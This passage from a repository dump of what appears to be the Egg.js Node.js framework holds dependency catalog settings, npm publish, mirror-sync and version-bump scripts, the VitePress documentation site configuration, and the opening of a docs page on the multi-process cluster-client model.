^4.2.0\n  mysql2: ^3.12.0\n  mz: ^2.7.0\n  mz-modules: ^2.1.0\n  nanoid: ^5.0.0\n  node-homedir: ^2.0.0\n  npminstall: ^7.12.0\n  nunjucks: ^3.2.4\n  nunjucks-markdown: ^2.0.1\n  on-finished: ^2.4.1\n  onelogger: ^1.0.1\n  oss-client: ^2.5.1\n  oxc-minify: ^0.105.0\n  oxfmt: ^0.20.0\n  oxlint: ^1.32.0\n  oxlint-tsgolint: ^0.11.0\n  parseurl: ^1.3.3\n  path-to-regexp: ^6.3.0\n  performance-ms: ^1.1.0\n  picocolors: ^1.1.1\n  pluralize: ^8.0.0\n  publint: ^0.3.16\n  ready-callback: ^4.0.0\n  reflect-metadata: ^0.2.2\n  rimraf: ^6.1.2\n  runscript: ^2.0.1\n  safe-timers: ^1.1.0\n  sdk-base: ^5.0.1\n  semver: ^7.7.3\n  sendmessage: ^3.0.1\n  should-send-same-site-none: ^2.0.5\n  source-map-support: ^0.5.21\n  spy: ^1.0.0\n  sqlstring: ^2.3.3\n  stack-trace: ^0.0.10\n  statuses: ^2.0.1\n  stream-wormhole: ^2.0.1\n  superagent: ^10.0.0\n  terminal-link: ^5.0.0\n  ts-node: ^10.9.2\n  tsconfig-paths: ^4.2.0\n  tsdown: ^0.18.2\n  tsx: 4.20.6\n  type-fest: ^5.0.1\n  type-is: ^2.0.0\n  typescript: ^5.9.3\n  unplugin-unused: ^0.5.4\n  urijs: ^1.19.11\n  urllib: ^4.8.2\n  utility: ^2.5.0\n  vary: ^1.1.2\n  vitepress: 2.0.0-alpha.15\n  vitepress-plugin-llms: ^1.10.0\n  vitest: ^4.0.15\n  xss: ^1.0.15\n  ylru: ^2.0.0\n  zod: ^3.24.1\n\ncatalogMode: prefer\n\ncatalogs:\n  path-to-regexp1:\n    path-to-regexp: ^1.9.0\n\nminimumReleaseAge: 1440\n\nminimumReleaseAgeExclude:\n  - typebox\n  - '@eggjs/*'\n  - '@vitest/*'\n  - '@rolldown/*'\n  - '@vitejs/*'\n  - '@oxc-project/*'\n  - '@oxfmt/*'\n  - '@oxlint/*'\n  - '@oxlint-tsgolint/*'\n  - '@typescript/*'\n  - egg\n  - rolldown\n  - tsdown\n  - vitest\n  - vite\n  - rolldown-vite\n  - oxfmt\n  - oxlint-tsgolint\n  - oxlint\n  - oxc-minify\n  - import-without-cache\n\noverrides:\n  vite: npm:rolldown-vite@^7.1.13\n"
  },
  {
    "path": "renovate.json",
    "content": "{\n  \"$schema\": \"https://docs.renovatebot.com/renovate-schema.json\",\n  \"extends\": [\"config:recommended\"]\n}\n"
  },
  {
    "path": "scripts/publish.js",
    "content": "#!/usr/bin/env node\n\n/**\n * Resilient per-package publish script.\n *\n * Unlike `pnpm -r publish`, this script:\n * - Skips packages that are already published on npm (safe for retries)\n * - Publishes each package individually so one failure doesn't block others\n * - Retries failed packages once\n * - Exits 0 only when all packages are published successfully\n *\n * Usage:\n *   node scripts/publish.js --tag=latest [--provenance] [--dry-run]\n */\n\nimport { execFileSync } from 'node:child_process';\nimport path from 'node:path';\n\nimport { getPublishablePackages } from './utils.js';\n\nconst args = process.argv.slice(2);\nconst isDryRun = args.includes('--dry-run');\nconst useProvenance = args.includes('--provenance');\n\nlet npmTag = 'latest';\nconst tagArg = args.find((arg) => arg.startsWith('--tag='));\nif (tagArg) {\n  npmTag = tagArg.split('=')[1];\n}\n\nconst baseDir = path.join(import.meta.dirname, '..');\nconst packages = getPublishablePackages(baseDir);\n\nconsole.log(\n  `📦 Publishing ${packages.length} packages (tag: ${npmTag}${isDryRun ? ', dry-run' : ''}${useProvenance ? ', provenance' : ''})`,\n);\n\n/**\n * Check if a specific version of a package is already published on npm.\n */\nfunction isPublished(name, version) {\n  try {\n    const result = execFileSync('npm', ['view', `${name}@${version}`, 'version'], {\n      encoding: 'utf8',\n      stdio: ['pipe', 'pipe', 'pipe'],\n      timeout: 15000,\n    }).trim();\n    return result === version;\n  } catch {\n    // Could be 404 (not published) or network error.\n    // Either way, we should attempt to publish.\n    return false;\n  }\n}\n\n/**\n * Publish a single package using pnpm --filter (preserves workspace context\n * so that workspace: protocol references are properly resolved).\n */\nfunction publishOne(pkg) {\n  const publishArgs = ['--filter', pkg.name, 'publish', '--no-git-checks', '--access', 'public', '--tag', npmTag];\n  if (useProvenance) publishArgs.push('--provenance');\n  if (isDryRun) publishArgs.push('--dry-run');\n\n  execFileSync('pnpm', publishArgs, {\n    cwd: baseDir,\n    stdio: 'inherit',\n    env: { ...process.env, NPM_CONFIG_LOGLEVEL: 'verbose' },\n    timeout: 120000,\n  });\n}\n\nconst published = [];\nconst skipped = [];\nconst toRetry = [];\n\nfor (const pkg of packages) {\n  const label = `${pkg.name}@${pkg.version}`;\n\n  // Skip packages already on npm (safe for retries)\n  if (!isDryRun && isPublished(pkg.name, pkg.version)) {\n    console.log(`  ⏭️  ${label} already published`);\n    skipped.push(label);\n    continue;\n  }\n\n  try {\n    publishOne(pkg);\n    console.log(`  ✅ ${label}`);\n    published.push(label);\n  } catch {\n    // Double-check: the publish might have actually succeeded\n    // (e.g. npm returned non-zero but the package landed)\n    if (!isDryRun && isPublished(pkg.name, pkg.version)) {\n      console.log(`  ⏭️  ${label} already published (confirmed after error)`);\n      skipped.push(label);\n    } else {\n      console.error(`  ❌ ${label} failed, will retry`);\n      toRetry.push(pkg);\n    }\n  }\n}\n\n// Retry failed packages once\nconst finalFailed = [];\nif (toRetry.length > 0 && !isDryRun) {\n  console.log(`\\n🔄 Retrying ${toRetry.length} failed package(s)...`);\n\n  for (const pkg of toRetry) {\n    const label = `${pkg.name}@${pkg.version}`;\n\n    if (isPublished(pkg.name, pkg.version)) {\n      console.log(`  ⏭️  ${label} now published`);\n      skipped.push(label);\n      continue;\n    }\n\n    try {\n      publishOne(pkg);\n      console.log(`  ✅ ${label} (retry)`);\n      published.push(label);\n    } catch {\n      if (isPublished(pkg.name, pkg.version)) {\n        console.log(`  ⏭️  ${label} now published (confirmed after retry error)`);\n        skipped.push(label);\n      } else {\n        console.error(`  ❌ ${label} retry failed`);\n        finalFailed.push(label);\n      }\n    }\n  }\n}\n\n// Summary\nconsole.log('\\n📊 Publish Summary:');\nconsole.log(`  Published: ${published.length}`);\nconsole.log(`  Skipped:   ${skipped.length}`);\nconsole.log(`  Failed:    ${finalFailed.length}`);\n\nif (finalFailed.length > 0) {\n  console.error('\\n❌ Failed packages:');\n  for (const label of finalFailed) {\n    console.error(`  - ${label}`);\n  }\n  process.exit(1);\n}\n\nconsole.log('\\n✅ All packages published successfully!');\n"
  },
  {
    "path": "scripts/sync-cnpm.js",
    "content": "#!/usr/bin/env node\n\nimport path from 'node:path';\n\nimport urllib from 'urllib';\n\nimport { getPublishablePackages } from './utils.js';\n\nconst baseDir = path.join(import.meta.dirname, '..');\nconst packages = getPublishablePackages(baseDir).filter((pkg) => !pkg.private);\n\nconsole.log(`🚀 Syncing to https://npmmirror.com ...`);\n\nfor (const pkg of packages) {\n  // https://github.com/node-modules/github-actions/blob/master/scripts/npm-release/index.js#L38\n  try {\n    const { data } = await urllib.request(`https://registry-direct.npmmirror.com/-/package/${pkg.name}/syncs`, {\n      method: 'PUT',\n      timeout: 30000,\n      dataType: 'json',\n    });\n    const logUrl = `https://registry.npmmirror.com/-/package/${pkg.name}/syncs/${data.id}/log`;\n    console.info(`  ✅ ${pkg.name}@${pkg.version} started`);\n    console.info(`    - 🔗 Sync: ${logUrl}`);\n    console.info(`    - 🔗 Web: https://npmmirror.com/package/${pkg.name}?version=${pkg.version}`);\n  } catch (err) {\n    console.error(`  ❌ ${pkg.name}@${pkg.version} fail, ${err.message}`);\n  }\n}\n"
  },
  {
    "path": "scripts/utils.js",
    "content": "import fs from 'node:fs';\nimport path from 'node:path';\n\nimport yaml from 'js-yaml';\n\n// Get all publishable packages from pnpm workspace\n\nexport function getPublishablePackages(baseDir) {\n  const workspaceFile = path.join(baseDir, 'pnpm-workspace.yaml');\n\n  if (!fs.existsSync(workspaceFile)) {\n    throw new Error('pnpm-workspace.yaml not found');\n  }\n\n  const workspaceConfig = yaml.load(fs.readFileSync(workspaceFile, 'utf8'));\n  const packages = workspaceConfig.packages || [];\n  const publishablePackages = [];\n\n  for (const packagePattern of packages) {\n    // Handle glob patterns like 'packages/*', 'tools/*', etc.\n    if (packagePattern.endsWith('/*')) {\n      const dirPath = packagePattern.slice(0, -2); // Remove '/*'\n      const fullDir = path.join(baseDir, dirPath);\n\n      if (fs.existsSync(fullDir)) {\n        const folders = fs\n          .readdirSync(fullDir)\n          .filter((folder) => fs.statSync(path.join(fullDir, folder)).isDirectory());\n\n        for (const folder of folders) {\n          const packageJsonPath = path.join(fullDir, folder, 'package.json');\n          if (fs.existsSync(packageJsonPath)) {\n            const packageJson = JSON.parse(fs.readFileSync(packageJsonPath, 'utf8'));\n            // Include packages that are not explicitly marked as private\n            if (!packageJson.private) {\n              publishablePackages.push({\n                folder,\n                directory: dirPath,\n                name: packageJson.name,\n                private: packageJson.private,\n                version: packageJson.version,\n              });\n            }\n          }\n        }\n      }\n    } else {\n      // Handle direct package paths like 'site'\n      const packageJsonPath = path.join(baseDir, packagePattern, 'package.json');\n      if (fs.existsSync(packageJsonPath)) {\n        const packageJson = JSON.parse(fs.readFileSync(packageJsonPath, 'utf8'));\n        if (!packageJson.private) {\n          publishablePackages.push({\n            folder: path.basename(packagePattern),\n            directory: path.dirname(packagePattern) || '.',\n            name: packageJson.name,\n            private: packageJson.private,\n            version: packageJson.version,\n          });\n        }\n      }\n    }\n  }\n\n  return publishablePackages;\n}\n"
  },
  {
    "path": "scripts/version.js",
    "content": "#!/usr/bin/env node\n\nimport { execSync } from 'node:child_process';\nimport fs from 'node:fs';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport semver from 'semver';\n\nimport { getPublishablePackages } from './utils.js';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\n// Get command line arguments\nconst args = process.argv.slice(2);\nconst versionType = args[0];\nconst isDryRun = args.includes('--dry-run');\n\n// Get prerelease tag if provided\nlet prereleaseTag = 'beta'; // default\nconst prereleaseArg = args.find((arg) => arg.startsWith('--prerelease-tag='));\nif (prereleaseArg) {\n  prereleaseTag = prereleaseArg.split('=')[1];\n}\n\nconst validVersionTypes = ['major', 'minor', 'patch', 'prerelease', 'prepatch', 'preminor', 'premajor'];\nconst validPrereleaseTags = ['alpha', 'beta', 'rc'];\n\nif (!validVersionTypes.includes(versionType)) {\n  console.error(\n    `Usage: node scripts/version.js [${validVersionTypes.join('|')}] [--prerelease-tag=alpha|beta|rc] [--dry-run]`,\n  );\n  process.exit(1);\n}\n\nif (versionType.includes('pre') && !validPrereleaseTags.includes(prereleaseTag)) {\n  console.error(`Invalid prerelease tag: ${prereleaseTag}. Must be one of: ${validPrereleaseTags.join(', ')}`);\n  process.exit(1);\n}\n\n// Check if git working directory is clean\ntry {\n  const status = execSync('git status --porcelain', { encoding: 'utf8' });\n  if (status.trim() && !isDryRun) {\n    console.error('Git working directory is not clean. Please commit or stash your changes first.');\n    process.exit(1);\n  }\n} catch (error) {\n  console.error('Failed to check git status:', error.message);\n  process.exit(1);\n}\n\nconst baseDir = path.join(__dirname, '..');\nconst packageFolders = getPublishablePackages(baseDir);\n\nconsole.log(`🚀 ${isDryRun ? '[DRY RUN] ' : ''}Bumping ${versionType} version for all packages...`);\n\nconst updatedVersions = [];\n\n// Backup original package.json files if not dry run\nconst backups = [];\n\n// Update each package version\npackageFolders.forEach(({ folder, directory }) => {\n  const packageJsonPath = path.join(baseDir, directory, folder, 'package.json');\n\n  if (fs.existsSync(packageJsonPath)) {\n    const packageJson = JSON.parse(fs.readFileSync(packageJsonPath, 'utf8'));\n    const originalContent = JSON.stringify(packageJson, null, 2) + '\\n';\n\n    if (!isDryRun) {\n      backups.push({ path: packageJsonPath, content: originalContent });\n    }\n\n    const currentVersion = packageJson.version;\n    let newVersion;\n\n    if (versionType.includes('pre')) {\n      // For prerelease versions, pass the prerelease tag\n      newVersion = semver.inc(currentVersion, versionType, prereleaseTag);\n    } else {\n      newVersion = semver.inc(currentVersion, versionType);\n    }\n\n    packageJson.version = newVersion;\n\n    if (!isDryRun) {\n      fs.writeFileSync(packageJsonPath, JSON.stringify(packageJson, null, 2) + '\\n');\n    }\n\n    updatedVersions.push({\n      name: packageJson.name,\n      oldVersion: currentVersion,\n      newVersion: newVersion,\n    });\n\n    console.log(`  📦 ${packageJson.name}: ${currentVersion} → ${newVersion}`);\n  }\n});\n\n// Update root package.json version (use egg's version as reference)\nconst eggVersion = updatedVersions.find((pkg) => pkg.name === 'egg')?.newVersion;\nif (eggVersion) {\n  const rootPackageJsonPath = path.join(__dirname, '..', 'package.json');\n  const rootPackageJson = JSON.parse(fs.readFileSync(rootPackageJsonPath, 'utf8'));\n  const oldRootVersion = rootPackageJson.version;\n\n  if (!isDryRun) {\n    backups.push({\n      path: rootPackageJsonPath,\n      content: JSON.stringify(rootPackageJson, null, 2) + '\\n',\n    });\n    rootPackageJson.version = eggVersion;\n    fs.writeFileSync(rootPackageJsonPath, JSON.stringify(rootPackageJson, null, 2) + '\\n');\n  }\n\n  console.log(`  📦 @eggjs/monorepo: ${oldRootVersion} → ${eggVersion}`);\n}\n\nif (isDryRun) {\n  console.log('\\n✅ Dry run complete! No changes were made.');\n  console.log('\\nTo apply these changes, run:');\n  console.log(`  pnpm run version:${versionType}`);\n  process.exit(0);\n}\n\ntry {\n  // Stage all changes\n  console.log('\\n📝 Staging changes...');\n  execSync('git add .', { stdio: 'inherit' });\n\n  // Create commit message with [skip ci] to avoid triggering CI for release commits\n  const commitMessage = `chore(release): ${versionType} version bump\n\n${updatedVersions.map((pkg) => `- ${pkg.name}@${pkg.newVersion}`).join('\\n')}`;\n\n  // Commit changes\n  console.log('\\n💾 Creating version commit...');\n  execSync(`git commit -m \"${commitMessage}\"`, { stdio: 'inherit' });\n\n  // Create tag using the main egg version\n  const tagName = `v${eggVersion}`;\n  console.log(`\\n🏷️  Creating tag ${tagName}...`);\n  execSync(`git tag ${tagName}`, { stdio: 'inherit' });\n\n  console.log('\\n✅ Version bump complete!');\n  console.log(`\\nTo publish, push the changes and tag:`);\n  console.log(`  git push origin HEAD --tags`);\n  console.log(`\\nOr trigger the manual release workflow in GitHub Actions.`);\n} catch (error) {\n  console.error('\\n❌ Error during git operations:', error.message);\n\n  // Restore backup files\n  console.log('🔄 Restoring original files...');\n  backups.forEach((backup) => {\n    fs.writeFileSync(backup.path, backup.content);\n  });\n\n  process.exit(1);\n}\n"
  },
  {
    "path": "site/.gitignore",
    "content": ".vitepress/cache"
  },
  {
    "path": "site/.vitepress/config.mts",
    "content": "import fs from 'node:fs';\nimport path from 'node:path';\n\nimport { defineConfig, type DefaultTheme } from 'vitepress';\nimport llmstxt, { copyOrDownloadAsMarkdownButtons } from 'vitepress-plugin-llms';\n\nimport { version } from '../../package.json';\n\n// https://vitepress.dev/reference/site-config\nexport default defineConfig({\n  title: 'Egg.js',\n  description: 'Born to build better enterprise frameworks and apps',\n\n  head: [\n    ['link', { rel: 'icon', href: '/favicon.png' }],\n    [\n      'meta',\n      {\n        name: 'description',\n        content: 'Born to build better enterprise frameworks and apps',\n      },\n    ],\n    ['meta', { name: 'keywords', content: 'Egg.js, Node.js, Koa, web framework' }],\n    ['meta', { name: 'author', content: 'Egg.js' }],\n    ['meta', { name: 'viewport', content: 'width=device-width, initial-scale=1.0' }],\n    ['meta', { name: 'robots', content: 'index, follow' }],\n  ],\n\n  // Use docs as the root directory for content\n  srcDir: 'docs',\n\n  // Clean URLs without .html extension\n  cleanUrls: true,\n\n  // Sitemap configuration\n  sitemap: {\n    hostname: 'https://eggjs.org',\n  },\n\n  // Ignore localhost links in dead link checking\n  ignoreDeadLinks: 'localhostLinks',\n\n  // i18n configuration\n  locales: {\n    root: {\n      label: 'English',\n      lang: 'en-US',\n      themeConfig: {\n        nav: nav(),\n        sidebar: {\n          '/intro/': { base: '/intro/', items: sidebarIntro() },\n          '/basics/': { base: '/basics/', items: sidebarBasics() },\n          '/advanced/': { base: '/advanced/', items: sidebarAdvanced() },\n          '/core/': { base: '/core/', items: sidebarCore() },\n          '/tutorials/': { base: '/tutorials/', items: sidebarTutorials() },\n          '/community/': { base: '/community/', items: sidebarCommunity() },\n          '/faq/': { base: '/faq/', items: sidebarFaq() },\n        },\n      },\n    },\n    'zh-CN': {\n      label: '简体中文',\n      lang: 'zh-CN',\n      link: '/zh-CN/',\n      themeConfig: {\n        nav: navZhCN(),\n        sidebar: {\n          '/zh-CN/intro/': { base: '/zh-CN/intro/', items: sidebarIntroZhCN() },\n          '/zh-CN/basics/': {\n            base: '/zh-CN/basics/',\n            items: sidebarBasicsZhCN(),\n          },\n          '/zh-CN/advanced/': {\n            base: '/zh-CN/advanced/',\n            items: sidebarAdvancedZhCN(),\n          },\n          '/zh-CN/core/': { base: '/zh-CN/core/', items: sidebarCoreZhCN() },\n          '/zh-CN/tutorials/': {\n            base: '/zh-CN/tutorials/',\n            items: sidebarTutorialsZhCN(),\n          },\n          '/zh-CN/community/': {\n            base: '/zh-CN/community/',\n            items: sidebarCommunityZhCN(),\n          },\n          '/zh-CN/faq/': { base: '/zh-CN/faq/', items: sidebarFaq() },\n        },\n      },\n    },\n  },\n\n  themeConfig: {\n    // https://vitepress.dev/reference/default-theme-config\n    logo: '/logo.svg',\n\n    socialLinks: [{ icon: 'github', link: 'https://github.com/eggjs/egg' }],\n\n    footer: {\n      message: 'Born to build better enterprise frameworks and apps',\n      copyright: 'Copyright © 2017-present Egg.js',\n    },\n\n    search: {\n      provider: 'local',\n    },\n\n    editLink: {\n      pattern: 'https://github.com/eggjs/egg/edit/next/site/docs/:path',\n      text: 'Edit this page',\n    },\n\n    outline: {\n      level: [2, 3],\n    },\n  },\n\n  lastUpdated: true,\n\n  // Custom CSS for theme color\n  vite: {\n    plugins: [llmstxt()],\n    css: {\n      preprocessorOptions: {\n        scss: {\n          additionalData: `$primary-color: #22ab28;`,\n        },\n      },\n    },\n  },\n\n  markdown: {\n    lineNumbers: false,\n    config(md) {\n      md.use(copyOrDownloadAsMarkdownButtons);\n    },\n  },\n});\n\n// English navigation\nfunction nav(): DefaultTheme.NavItem[] {\n  return [\n    { text: 'Intro', link: '/intro/quickstart', activeMatch: '/intro/' },\n    { text: 'Basics', link: '/basics/structure', activeMatch: '/basics/' },\n    { text: 'Advanced', link: '/advanced/', activeMatch: '/advanced/' },\n    { text: 'Core', link: '/core/', activeMatch: '/core/' },\n    { text: 'Tutorials', link: '/tutorials/', activeMatch: '/tutorials/' },\n    {\n      text: 'Community',\n      activeMatch: '/community/',\n      items: [\n        { text: 'Community', link: '/community/' },\n        {\n          text: 'Contributing',\n          link: 'https://github.com/eggjs/egg/blob/next/CONTRIBUTING.md',\n        },\n        { text: 'Frequently Asked Questions', link: '/community/faq' },\n        { text: 'Common Errors', link: '/faq/' },\n        { text: 'CNode Community', link: 'https://cnodejs.org/' },\n        { text: 'Node.js 专栏', link: 'https://www.yuque.com/egg/nodejs' },\n      ],\n    },\n    {\n      text: `v${version}`,\n      items: [\n        {\n          text: 'v3.x',\n          link: 'https://v3.eggjs.org',\n        },\n        {\n          text: 'Plugins',\n          link: 'https://github.com/search?q=topic%3Aegg-plugin&type=Repositories',\n        },\n        {\n          text: 'Releases',\n          link: 'https://github.com/eggjs/egg/releases',\n        },\n      ],\n    },\n  ];\n}\n\n// Chinese navigation\nfunction navZhCN(): DefaultTheme.NavItem[] {\n  return [\n    {\n      text: '简介',\n      link: '/zh-CN/intro/overview',\n      activeMatch: '/zh-CN/intro/',\n    },\n    {\n      text: '基础功能',\n      link: '/zh-CN/basics/structure',\n      activeMatch: '/zh-CN/basics/',\n    },\n    {\n      text: '高级功能',\n      link: '/zh-CN/advanced/',\n      activeMatch: '/zh-CN/advanced/',\n    },\n    { text: '核心功能', link: '/zh-CN/core/', activeMatch: '/zh-CN/core/' },\n    {\n      text: '教程',\n      link: '/zh-CN/tutorials/',\n      activeMatch: '/zh-CN/tutorials/',\n    },\n    {\n      text: '社区',\n      activeMatch: '/zh-CN/community/',\n      items: [\n        { text: '社区', link: '/zh-CN/community/' },\n        {\n          text: '参与贡献',\n          link: 'https://github.com/eggjs/egg/blob/next/CONTRIBUTING.zh-CN.md',\n        },\n        { text: '常见问题', link: '/zh-CN/community/faq' },\n        { text: '常见错误', link: '/zh-CN/faq/' },\n        { text: 'CNode 社区', link: 'https://cnodejs.org/' },\n        { text: 'Node.js 专栏', link: 'https://www.yuque.com/egg/nodejs' },\n      ],\n    },\n    {\n      text: `v${version}`,\n      items: [\n        {\n          text: 'v3.x',\n          link: 'https://v3.eggjs.org',\n        },\n        {\n          text: '插件列表',\n          link: 'https://github.com/search?q=topic%3Aegg-plugin&type=Repositories',\n        },\n        {\n          text: '发布日志',\n          link: 'https://github.com/eggjs/egg/releases',\n        },\n      ],\n    },\n  ];\n}\n\n// English sidebars\nfunction sidebarIntro(): DefaultTheme.SidebarItem[] {\n  return [\n    {\n      text: 'Introduction',\n      items: [\n        { text: 'Overview', link: 'overview' },\n        { text: 'Quick Start', link: 'quickstart' },\n        { text: 'Progressive Development', link: 'progressive' },\n        { text: 'Egg & Koa', link: 'egg-and-koa' },\n        { text: 'Migration Guide', link: 'migration' },\n      ],\n    },\n  ];\n}\n\nfunction sidebarBasics(): DefaultTheme.SidebarItem[] {\n  return [\n    {\n      text: 'Basics',\n      items: [\n        { text: 'Directory Structure', link: 'structure' },\n        { text: 'Dependency Injection', link: 'di' },\n        { text: 'Controller', link: 'controller' },\n        { text: 'HTTP Controller', link: 'httpcontroller' },\n        { text: 'MCP Controller', link: 'mcpcontroller' },\n        { text: 'Schedule Controller', link: 'schedule' },\n        { text: 'Parameter Validation', link: 'ajv' },\n        { text: 'Aspect-Oriented Programming', link: 'aop' },\n        { text: 'Background Task', link: 'backgroundTask' },\n        { text: 'Event Bus', link: 'eventbus' },\n        { text: 'Built-in Objects', link: 'objects' },\n        { text: 'Runtime Environment', link: 'env' },\n        { text: 'Configuration', link: 'config' },\n        { text: 'AOP Middleware (Recommended)', link: 'aop-middleware' },\n        { text: 'Koa Middleware', link: 'middleware' },\n        { text: 'Plugin', link: 'plugin' },\n        { text: 'Extend EGG', link: 'extend' },\n        { text: 'Application Startup Lifecycle', link: 'app-start' },\n        { text: 'Unit Testing', link: 'unittest' },\n      ],\n    },\n  ];\n}\n\nfunction sidebarAdvanced(): DefaultTheme.SidebarItem[] {\n  return [\n    {\n      text: 'Advanced',\n      items: [\n        { text: 'Loader', link: 'loader' },\n        { text: 'Plugin Development', link: 'plugin' },\n        { text: 'Framework Development', link: 'framework' },\n      ],\n    },\n  ];\n}\n\nfunction sidebarCore(): DefaultTheme.SidebarItem[] {\n  return [\n    {\n      text: 'Core Features',\n      items: [\n        { text: 'Development', link: 'development' },\n        { text: 'Unit Testing', link: 'unittest' },\n        { text: 'Application Deployment', link: 'deployment' },\n        { text: 'Logging', link: 'logger' },\n        { text: 'HttpClient', link: 'httpclient' },\n        { text: 'Cookie & Session', link: 'cookie-and-session' },\n        { text: 'Cluster & IPC', link: 'cluster-and-ipc' },\n        { text: 'Multi-process Model', link: 'cluster-and-ipc' },\n        { text: 'Internationalization', link: 'i18n' },\n        { text: 'View Template', link: 'view' },\n        { text: 'Security', link: 'security' },\n      ],\n    },\n  ];\n}\n\nfunction sidebarTutorials(): DefaultTheme.SidebarItem[] {\n  return [\n    {\n      text: 'Tutorials',\n      items: [\n        { text: 'MySQL', link: 'mysql' },\n        { text: 'Redis', link: 'redis' },\n        { text: 'MongoDB', link: 'mongodb' },\n        { text: 'RESTful API', link: 'restful' },\n        { text: 'Passport', link: 'passport' },\n        { text: 'Socket.io', link: 'socketio' },\n      ],\n    },\n  ];\n}\n\nfunction sidebarCommunity(): DefaultTheme.SidebarItem[] {\n  return [\n    {\n      text: 'Community',\n      items: [\n        { text: 'Contributing', link: 'contributing' },\n        { text: 'Frequently Asked Questions', link: 'faq' },\n      ],\n    },\n  ];\n}\n\n// Chinese sidebars\nfunction sidebarIntroZhCN(): DefaultTheme.SidebarItem[] {\n  return [\n    {\n      text: '简介',\n      items: [\n        { text: '概览', link: 'overview' },\n        { text: '快速入门', link: 'quickstart' },\n        { text: '渐进式开发', link: 'progressive' },\n        { text: 'Egg 与 Koa', link: 'egg-and-koa' },\n        { text: '迁移指南', link: 'migration' },\n      ],\n    },\n  ];\n}\n\nfunction sidebarBasicsZhCN(): DefaultTheme.SidebarItem[] {\n  return [\n    {\n      text: '基础功能',\n      items: [\n        { text: '目录结构', link: 'structure' },\n        { text: '依赖注入', link: 'di' },\n        { text: '控制器', link: 'controller' },\n        { text: 'HTTP 控制器', link: 'httpcontroller' },\n        { text: 'MCP 控制器', link: 'mcpcontroller' },\n        { text: 'Schedule 控制器', link: 'schedule' },\n        { text: '参数校验', link: 'ajv' },\n        { text: '切面编程', link: 'aop' },\n        { text: '异步任务', link: 'backgroundTask' },\n        { text: '事件中枢', link: 'eventbus' },\n        { text: '内置对象', link: 'objects' },\n        { text: '运行环境', link: 'env' },\n        { text: '配置', link: 'config' },\n        { text: 'AOP 中间件(推荐)', link: 'aop-middleware' },\n        { text: 'Koa 中间件', link: 'middleware' },\n        { text: '插件', link: 'plugin' },\n        { text: '框架扩展', link: 'extend' },\n        { text: '启动自定义', link: 'app-start' },\n        { text: '单元测试', link: 'unittest' },\n      ],\n    },\n  ];\n}\n\nfunction sidebarAdvancedZhCN(): DefaultTheme.SidebarItem[] {\n  return [\n    {\n      text: '高级功能',\n      items: [\n        { text: '加载器', link: 'loader' },\n        { text: '插件开发', link: 'plugin' },\n        { text: '框架开发', link: 'framework' },\n        { text: '多进程研发模式增强', link: 'cluster-client' },\n        { text: 'View 插件开发', link: 'view-plugin' },\n        { text: '升级你的生命周期事件函数', link: 'loader-update' },\n        { text: '对象生命周期', link: 'lifecycle' },\n      ],\n    },\n  ];\n}\n\nfunction sidebarCoreZhCN(): DefaultTheme.SidebarItem[] {\n  return [\n    {\n      text: '核心功能',\n      items: [\n        { text: '本地开发', link: 'development' },\n        { text: '单元测试', link: 'unittest' },\n        { text: '应用部署', link: 'deployment' },\n        { text: '日志', link: 'logger' },\n        { text: 'HttpClient', link: 'httpclient' },\n        { text: 'Cookie 与 Session', link: 'cookie-and-session' },\n        { text: '多进程模型', link: 'cluster-and-ipc' },\n        { text: '国际化', link: 'i18n' },\n        { text: '模板渲染', link: 'view' },\n        { text: '安全', link: 'security' },\n      ],\n    },\n  ];\n}\n\nfunction sidebarTutorialsZhCN(): DefaultTheme.SidebarItem[] {\n  return [\n    {\n      text: '教程',\n      items: [\n        { text: 'MySQL', link: 'mysql' },\n        // { text: 'Redis', link: 'redis' },\n        // { text: 'MongoDB', link: 'mongodb' },\n        { text: 'RESTful API', link: 'restful' },\n        { text: 'Passport 鉴权', link: 'passport' },\n        { text: 'Socket.io', link: 'socketio' },\n        { text: 'Assets 静态资源', link: 'assets' },\n        { text: 'Proxy 代理模式', link: 'proxy' },\n        // { text: 'Sequelize', link: 'sequelize' },\n        { text: 'TypeScript', link: 'typescript' },\n      ],\n    },\n  ];\n}\n\nfunction sidebarCommunityZhCN(): DefaultTheme.SidebarItem[] {\n  return [\n    {\n      text: '社区',\n      items: [\n        // { text: '文章', link: 'articles' },\n        { text: '参与贡献', link: 'contributing' },\n        { text: '常见问题', link: 'faq' },\n      ],\n    },\n  ];\n}\n\nfunction sidebarFaq(): DefaultTheme.SidebarItem[] {\n  const faqFiles = fs.readdirSync(path.join(import.meta.dirname, '../docs/faq'));\n  const faqItems = faqFiles.map((file) => ({\n    text: file.replace('.md', ''),\n    link: `${file}`,\n  }));\n  return [\n    {\n      text: 'FAQ',\n      items: faqItems,\n    },\n  ];\n}\n"
  },
  {
    "path": "site/.vitepress/theme/index.ts",
    "content": "import type { Theme } from 'vitepress';\n// @ts-expect-error - Vue component without type declarations\nimport CopyOrDownloadAsMarkdownButtons from 'vitepress-plugin-llms/vitepress-components/CopyOrDownloadAsMarkdownButtons.vue';\nimport DefaultTheme from 'vitepress/theme';\n\nexport default {\n  extends: DefaultTheme,\n  enhanceApp({ app }) {\n    app.component('CopyOrDownloadAsMarkdownButtons', CopyOrDownloadAsMarkdownButtons);\n  },\n} satisfies Theme;\n"
  },
  {
    "path": "site/docs/advanced/cluster-client.md",
    "content": "# Multi-Process Development Model Enhancement\n\nIn the previous [Multi-Process Model chapter](../core/cluster-and-ipc.md), we covered the multi-process model of the framework in detail, whose Agent process suits for a common class of scenarios: some middleware clients need to establish a persistent connection with server. In theory, a server had better establish only one persistent connection. However, the multi-process model will result in n times (n = number of Worker processes) connections being created.\n\n```bash\n+--------+   +--------+\n| Client |   | Client |   ... n\n+--------+   +--------+\n    |  \\     /   |\n    |    \\ /     |        n * m links\n    |    / \\     |\n    |  /     \\   |\n+--------+   +--------+\n| Server |   | Server |   ... m\n+--------+   +--------+\n```\n\nIn order to reuse persistent connections as much as possible (because they are very valuable resources for server), we put them into the Agent process to maintain, and then we transmit data to each Worker via messenger. It's feasible but we often need to write many codes to encapsulate the interface and realize data transmission, which is very troublesome.\n\nIn addition, it's relatively inefficient to transmit data via messenger, since messenger will do the transmission through the Master; In case IPC channel goes wrong, it would probably break Master process down.\n\nSo is there any better way? The answer is: YES! We provide a new type of model to reduce the complexity of this type of client encapsulation. The new Model bypasses the Master by establishing a direct socket between Agent and Worker. And as an external interface, Agent maintains shared connection among multiple Worker processes.\n\n## Core Idea\n\n- Inspired by the [Leader/Follower](https://www.dre.vanderbilt.edu/~schmidt/PDF/lf.pdf) model.\n- The client is divided into two 